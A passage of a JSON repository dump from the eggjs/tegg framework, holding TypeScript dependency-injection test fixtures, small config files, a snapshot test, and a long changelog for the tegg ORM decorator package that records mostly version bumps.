    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\n\n@ContextProto()\nexport class Logger {}\n\n@ContextProto()\nexport class Bar {}\n\n@ContextProto()\nexport class ConstructorBase {\n  // @ts-expect-error readonly property in constructor\n  constructor(@Inject() readonly logger: Logger) {}\n}\n\n@ContextProto()\nexport class FooConstructor extends ConstructorBase {\n  // @ts-expect-error readonly property in constructor\n  constructor(@Inject() readonly bar: Bar) {\n    super(console);\n  }\n}\n\n@ContextProto()\nexport class FooConstructorLogger extends ConstructorBase {\n  constructor(\n    // @ts-expect-error readonly property in constructor\n    @Inject() readonly bar: Bar,\n    // @ts-expect-error readonly property in constructor\n    @Inject() readonly logger: Logger,\n  ) {\n    super(logger);\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/extends-constructor-module/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/extends-module/Base.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\n\n@ContextProto()\nexport class Logger {}\n\n@ContextProto()\nexport class Base {\n  @Inject()\n  logger: Logger;\n}\n\n@ContextProto()\nexport class Foo extends Base {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/extends-module/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/incompatible-proto-inject/package.json",
    "content": "{\n  \"name\": \"incompatible-proto-inject\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/incompatible-proto-inject/test.ts",
    "content": "import { ContextProto, Inject, SingletonProto } from '@eggjs/core-decorator';\n\n@ContextProto()\nexport class Logger {}\n\n@SingletonProto()\nexport class Base {\n  @Inject()\n  logger: Logger;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/invalid-multimodule/invalidService.ts",
    "content": "import { Prototype, AccessLevel } from '@eggjs/core-decorator';\n\n@Prototype({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class InvalidateService {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/invalid-multimodule/invalidService2.ts",
    "content": "import { Prototype, AccessLevel } from '@eggjs/core-decorator';\n\n@Prototype({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class InvalidateService {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/invalid-multimodule/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleInvalidateService\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/invalid-multimodule/test.ts",
    "content": "import { Prototype, Inject } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class testService {\n  @Inject()\n  invalidateService: any;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/invalidate-module/InvalidateService.ts",
    "content": "import { Prototype, Inject } from '@eggjs/core-decorator';\n\ninterface PersistenceService {}\n\n@Prototype()\nexport default class InvalidateService {\n  @Inject()\n  persistenceService: PersistenceService;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/invalidate-module/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleInvalidateService\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/load-unit/AppRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\ninterface App {\n  name: string;\n}\n\n@Prototype()\nexport default class AppRepo {\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/load-unit/SprintRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class SprintRepo {\n  async save(): Promise<void> {\n    return Promise.resolve();\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/load-unit/UserRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class UserRepo {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/load-unit/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"main\": \"index.js\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/multi-callback-instance-module/MultiInstance.ts",
    "content": "import {\n  AccessLevel,\n  ObjectInitType,\n  MultiInstanceProto,\n  type MultiInstancePrototypeGetObjectsContext,\n} from '@eggjs/core-decorator';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\n\nexport const FOO_ATTRIBUTE: symbol = Symbol.for('FOO_ATTRIBUTE');\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath);\n    return (config as any).features.logger.map((name: string) => {\n      return {\n        name: 'foo',\n        qualifiers: [\n          {\n            attribute: FOO_ATTRIBUTE,\n            value: name,\n          },\n        ],\n      };\n    });\n  },\n})\nexport class FooDynamicLogger {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/multi-callback-instance-module/module.yml",
    "content": "features:\n  logger:\n    - foo\n    - bar\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/multi-callback-instance-module/package.json",
    "content": "{\n  \"name\": \"multi-callback-instance-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiCallbackInstanceModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/multi-instance-module/MultiInstance.ts",
    "content": "import { AccessLevel, ObjectInitType, MultiInstanceProto } from '@eggjs/core-decorator';\n\nexport const FOO_ATTRIBUTE: symbol = Symbol.for('FOO_ATTRIBUTE');\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  objects: [\n    {\n      name: 'foo',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ],\n    },\n    {\n      name: 'foo',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ],\n    },\n  ],\n})\nexport class FooLogger {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/multi-instance-module/package.json",
    "content": "{\n  \"name\": \"multi-instance-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiInstanceModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/optional-inject-module/OptionalInjectService.ts",
    "content": "import { Inject, InjectOptional, SingletonProto } from '@eggjs/core-decorator';\n\ninterface PersistenceService {}\n\n@SingletonProto()\nexport default class OptionalInjectService {\n  @Inject({ optional: true })\n  persistenceService?: PersistenceService;\n\n  @InjectOptional()\n  persistenceService2?: PersistenceService;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/optional-inject-module/package.json",
    "content": "{\n  \"name\": \"optional-inject-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"optionalInjectService\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/recursive-load-unit/AppRepo.ts",
    "content": "import { Prototype, Inject } from '@eggjs/core-decorator';\n\nimport SprintRepo from './SprintRepo.ts';\n\ninterface App {\n  name: string;\n}\n\n@Prototype()\nexport default class AppRepo {\n  @Inject()\n  sprintRepo: SprintRepo;\n\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/recursive-load-unit/SprintRepo.ts",
    "content": "import { Prototype, Inject } from '@eggjs/core-decorator';\n\nimport UserRepo from './UserRepo.ts';\n\n@Prototype()\nexport default class SprintRepo {\n  @Inject()\n  userRepo: UserRepo;\n\n  async save(): Promise<void> {\n    return Promise.resolve();\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/recursive-load-unit/UserRepo.ts",
    "content": "import { Prototype, Inject } from '@eggjs/core-decorator';\n\nimport AppRepo from './AppRepo.ts';\n\n@Prototype()\nexport default class UserRepo {\n  @Inject()\n  appRepo: AppRepo;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/recursive-load-unit/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"main\": \"index.js\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/same-name-object/AppCache.ts",
    "content": "export interface AppCache {\n  getCount(): number;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/same-name-object/ContextAppCache.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\n\n@ContextProto()\nexport default class AppCache {\n  count = 0;\n\n  async getCount(): Promise<number> {\n    return this.count++;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/same-name-object/CountService.ts",
    "content": "import { ContextProto, Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { type AppCache } from './AppCache.ts';\n\n@ContextProto()\nexport class CountService {\n  @Inject()\n  appCache: AppCache;\n\n  async getCount(): Promise<number> {\n    return this.appCache.getCount();\n  }\n}\n\n@SingletonProto()\nexport class SingletonCountService {\n  @Inject()\n  appCache: AppCache;\n\n  async getCount(): Promise<number> {\n    return this.appCache.getCount();\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/same-name-object/SingletonAppCache.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\n@SingletonProto()\nexport default class AppCache {\n  count = 0;\n\n  async getCount(): Promise<number> {\n    return this.count++;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/same-name-object/package.json",
    "content": "{\n  \"name\": \"same-name-object\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"samename\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/metadata/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/metadata/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/orm-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n\n### Features\n\n* use singleton model insteadof context ([#89](https://github.com/eggjs/tegg/issues/89)) ([cfdfc05](https://github.com/eggjs/tegg/commit/cfdfc05f13048806274de1a35b1207c073a8519d))\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n\n### Features\n\n* export singleton orm client ([#82](https://github.com/eggjs/tegg/issues/82)) ([5320af7](https://github.com/eggjs/tegg/commit/5320af77d7e7c5c73b80560a576f2ce01fc21fff))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* use getMetaData for ModelMetadataUtil ([#44](https://github.com/eggjs/tegg/issues/44)) ([87a306c](https://github.com/eggjs/tegg/commit/87a306c4fba51fd519a47c0caaa79442643ea107))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* use getMetaData for ModelMetadataUtil ([#44](https://github.com/eggjs/tegg/issues/44)) ([87a306c](https://github.com/eggjs/tegg/commit/87a306c4fba51fd519a47c0caaa79442643ea107))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Inject Model 